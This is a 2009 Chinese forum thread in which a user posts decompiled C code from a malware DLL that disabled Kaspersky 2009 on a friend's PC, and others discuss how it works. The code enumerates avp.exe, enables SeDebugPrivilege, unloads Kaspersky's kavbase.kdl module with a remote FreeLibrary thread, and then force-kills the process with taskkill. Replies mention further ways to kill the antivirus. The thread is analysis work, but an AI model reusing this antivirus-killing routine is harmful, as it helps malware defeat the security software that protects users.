首页
社区
课程
招聘
[讨论]另类关卡巴2009
发表于: 2009-1-29 17:36 9117

[讨论]另类关卡巴2009

2009-1-29 17:36
9117
今天朋友机器中毒,他机器上的卡巴2009是我给他装上的,居然被病毒干了,
具体的exe样本没找到,就找到了DLL文件,想分析下他是怎么做的。提取了相关的子函数如下

HMODULE __cdecl sub_100010C0(DWORD th32ProcessID, LPCSTR lpString2)
{
  HMODULE v2; // ebp@1
  void *v3; // esi@1
  const CHAR *v4; // edi@2
  HANDLE v6; // eax@1
  MODULEENTRY32 me; // [sp+10h] [bp-224h]@1

  v2 = 0;
  memset(&me.th32ModuleID, 0, 0x220u);
  v6 = CreateToolhelp32Snapshot(8u, th32ProcessID);
  v3 = v6;
  me.dwSize = 548;
  if ( Module32First(v6, &me) )
  {
    v4 = lpString2;
    if ( lstrcmpiA(me.szExePath, lpString2) )
    {
      while ( Module32Next(v3, &me) )
      {
        if ( !lstrcmpiA(me.szExePath, v4) )
          goto LABEL_5;
      }
    }
    else
    {
LABEL_5:
      v2 = me.hModule;
    }
  }
  CloseHandle(v3);
  return v2;
}

//----- (10001160) --------------------------------------------------------
char __cdecl sub_10001160(DWORD dwProcessId, LPVOID lpParameter)
{
  void *v2; // esi@1
  char result; // al@2
  void *v4; // edi@3
  HANDLE v5; // eax@5
  void *v6; // esi@5
  HANDLE v7; // eax@3
  HMODULE v8; // eax@5
  DWORD (__stdcall *v9)(LPVOID); // eax@5

  v2 = lpParameter;
  if ( lpParameter )
  {
    v7 = OpenProcess(0x2Au, 0, dwProcessId);
    v4 = v7;
    if ( v7 )
    {
      v8 = GetModuleHandleA("kernel32.dll");
      v9 = (DWORD (__stdcall *)(LPVOID))GetProcAddress(v8, "FreeLibrary");
      v5 = CreateRemoteThread(v4, 0, 0, v9, v2, 0, 0);
      v6 = v5;
      if ( v5 )
      {
        WaitForSingleObject(v5, 0xFFFFFFFFu);
        CloseHandle(v4);
        CloseHandle(v6);
        result = 1;
      }
      else
      {
        CloseHandle(v4);
        result = 0;
      }
    }
    else
    {
      result = 0;
    }
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (100011E0) --------------------------------------------------------
char __cdecl sub_100011E0(LPCSTR lpString2)
{
  HANDLE v1; // esi@1
  HMODULE v2; // eax@3
  void *v3; // esi@3
  HANDLE v5; // eax@1
  char v6; // [sp+7h] [bp-12Dh]@1
  PROCESSENTRY32 pe; // [sp+Ch] [bp-128h]@1
  HANDLE hSnapshot; // [sp+8h] [bp-12Ch]@1

  v6 = 0;
  pe.dwSize = 296;
  v5 = CreateToolhelp32Snapshot(2u, 0);
  v1 = v5;
  hSnapshot = v5;
  if ( Process32First(v5, &pe) )
  {
    do
    {
      if ( !_strcmpi("avp.exe", pe.szExeFile) )
      {
        v2 = sub_100010C0(pe.th32ProcessID, lpString2);
        v3 = v2;
        if ( v2 )
        {
          sub_10001160(pe.th32ProcessID, v2);
          Sleep(0x64u);
          sub_10001160(pe.th32ProcessID, v3);
          Sleep(0x64u);
          v6 = sub_10001160(pe.th32ProcessID, v3);
          ShellExecuteA(0, 0, "taskkill", "/f /t /im avp.exe", 0, 0);
          MessageBoxA((HWND)0xFFFFFFFA, "zzz", "ccc", 0);
        }
      }
      v1 = hSnapshot;
    }
    while ( Process32Next(hSnapshot, &pe) );
  }
  CloseHandle(v1);
  return v6;
}
/*
int __cdecl sub_10001000(const char *a1)
{
  int result; // eax@1
  unsigned int v2; // edx@1
  const char *v3; // esi@1

  v3 = a1;
  result = 0;
  v2 = 0;
  if ( strlen(a1) != 1 )
  {
    do
    {
      result = 0;
      v3[v2] += 2 * ((_BYTE)v2 - 33);
      ++v2;
    }
    while ( v2 < strlen(v3) - 1 );
  }
  v3[v2] = 0;
  return result;
}
*/

char __cdecl sub_10001040(LPCSTR lpName, int a2)
{
  HANDLE v3; // eax@1
  HANDLE hObject; // [sp+0h] [bp-14h]@1
  struct _TOKEN_PRIVILEGES NewState; // [sp+4h] [bp-10h]@2

  v3 = GetCurrentProcess();
  if ( OpenProcessToken(v3, 0x28u, &hObject) )
  {
    NewState.PrivilegeCount = 1;
    NewState.Privileges[0].Attributes = -(a2 != 0) & 2;
    LookupPrivilegeValueA(0, lpName, (struct _LUID *)NewState.Privileges);
    AdjustTokenPrivileges(hObject, 0, &NewState, 0x10u, 0, 0);
    GetLastError();
    CloseHandle(hObject);
  }
  return 0;
}
/*
int __cdecl sub_100012F0()
{
  UINT v0; // eax@1
  BYTE String2; // [sp+154h] [bp-204h]@1
  DWORD cchValueName; // [sp+14h] [bp-344h]@1
  const CHAR SubKey; // [sp+1Ch] [bp-33Ch]@1
  DWORD cbData; // [sp+10h] [bp-348h]@1
  HKEY hKey; // [sp+8h] [bp-350h]@1
  HKEY phkResult; // [sp+Ch] [bp-34Ch]@2
  CHAR ValueName; // [sp+258h] [bp-100h]@3
  DWORD Type; // [sp+18h] [bp-340h]@3
  CHAR String1; // [sp+50h] [bp-308h]@4

  memset(&String2, 0, 0x104u);
  cchValueName = 256;
  memcpy((void *)&SubKey, "晱剱憏坹巤彑殟槜崣j}|t唵亜so~mj`CVN4V;A5:E;H6IYX5ER", 0x34u);
  cbData = 260;
  sub_10001000(&SubKey);
  v0 = RegOpenKeyA(HKEY_LOCAL_MACHINE, 0, &hKey);
  if ( !v0 )
  {
    MessageBoxA((HWND)0xFFFFFFFA, "zzz", "ccc", v0);
    if ( !RegOpenKeyExA(hKey, &SubKey, 0, 0xF003Fu, &phkResult) )
      RegEnumValueA(phkResult, 0, &ValueName, &cchValueName, 0, &Type, &String2, &cbData);
  }
  RegCloseKey(phkResult);
  RegCloseKey(hKey);
  memset(&String1, 0, 0x104u);
  lstrcpyA(&String1, (const CHAR *)&String2);
  lstrcatA(&String1, "kavbase.kdl");
  sub_10001040("SeDebugPrivilege", 1);
  if ( sub_100011E0(&String1) )
    sub_10001040("SeDebugPrivilege", 0);
  return 0;
}

还是不明白怎么实现的,前提是他修复了SSDT表了,好象。
kavbase.kdl,这个文件我很郁闷,查了下,居然是K8的病毒库里的,居然也能被利用

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (21)
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
2
创远线程卸载avp.exe的关键dll,然后命令行 taskkill /f /t /im avp.exe关闭之???

我奇怪的是卡巴会让你轻松创建 RemoteThread?
2009-1-29 18:10
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
3
都上驱动修复SSDT了,别说关卡巴2009了,就是关卡巴9002都行
2009-1-29 18:13
0
雪    币: 220
活跃值: (711)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
还是MJ看文章仔细呀,我不明白,他里面的kavbase.kdl有什么用呢?
关咔吧进程的代码,应该全部在这里了,放在我眼前,我也不知道是怎么回事,郁闷
2009-1-29 18:17
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
5
他是判断AVP.EXE内有没有kavbase.kdl这个模块

猜测他可能是为了反虚拟机的,AVP.EXE虚拟机里可能设了个傀儡进程来让找AVP.EXE的病毒自投罗网~所以会判断这个模块,这个是病毒库,但是貌似是卡巴以DLL形式的扩展查杀引擎
2009-1-29 18:29
0
雪    币: 220
活跃值: (711)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
实际情况是RESSDT后,
如果关点SYSTEM用户的那个AVP。EXE,机器就卡死,这个是卡8的改进
所以很多都要判断哪个AVP。EXE不是SYSTEM的,关普通用户的呵呵。
2009-1-29 21:41
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
7
多开个SYSTEM进程的也叫改进?SSDT都被人恢复了~

另外,楼主既然知道还来这里问,是不是有一点脑 残?
2009-1-30 15:59
0
雪    币: 546
活跃值: (1605)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
8
**。楼主太牛逼了。膜拜呀。你是静态反汇编吗?怎么做到的?汇编要学到什么程度才能写出楼主的东西?
2009-1-30 16:51
0
雪    币: 2362
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
就是F5嘛.
2009-1-30 16:52
0
雪    币: 220
活跃值: (711)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
多开个SYSTEM进程的也叫改进?SSDT都被人恢复了~

另外,楼主既然知道还来这里问,是不是有一点脑 残?

本来 K7,K8都有两个进程,不叫多开个SYSTEM进程。
SSDT都被人恢复了~ ,修复了也关不掉SYSTEM进程,当然大牛们除外。

“脑 残”是不是有点过了?
2009-1-30 18:00
0
雪    币: 133
活跃值: (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
kavbase.kdl是特征扫描模块,klavemu.kdl才是虚拟机启发模块
2009-1-30 18:43
0
雪    币: 213
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
呵呵!貌似好面熟啊!
http://hi.baidu.com/as491621734/blog/item/1e6c4ddc1874cede8c1029e1.html
http://hi.baidu.com/as491621734/blog/item/0bfbf851f5fe15658435246d.html
俺写的!反正是把它给毙了!死机了N次,终于找到了原因....好像还不全啊!
2009-1-30 19:09
0
雪    币: 0
活跃值: (954)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
13
既然他修复了SSDT 表,那结束 普通的权限就可以拿下他的进程了!
2009-1-31 11:32
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
既然修复了ssdt 表,那还有这个必要去关闭它的进程不
2009-2-1 11:28
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
一点都不过.
2009-2-1 12:27
0
雪    币: 213
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
其实卡巴的保护的确不错,杀进程理论简单,但是卡巴的确也很强大!稍不留神,就有可能死机!
2009-2-6 15:41
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
17
用Dup And Kill法,卡巴就歇菜了~
2009-2-7 19:44
0
雪    币: 220
活跃值: (711)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
好象卡巴的SYSTEM权限的那个进程不被干掉的,卡巴依然还可以工作的
把SYSTEM权限的那个进程关掉了,系统就挂了
2009-3-29 11:44
0
雪    币: 808
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
19
讨论技术,不要骂人嘛。
2009-3-29 12:12
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
20
一看楼主那代码就知道是F5的……
2009-3-30 01:15
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
21
既然能加载驱动了,卡巴就已经废了~
2009-3-30 03:43
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
希望LZ发样本
2009-3-30 11:37
0
游客
登录 | 注册 方可回帖
返回
//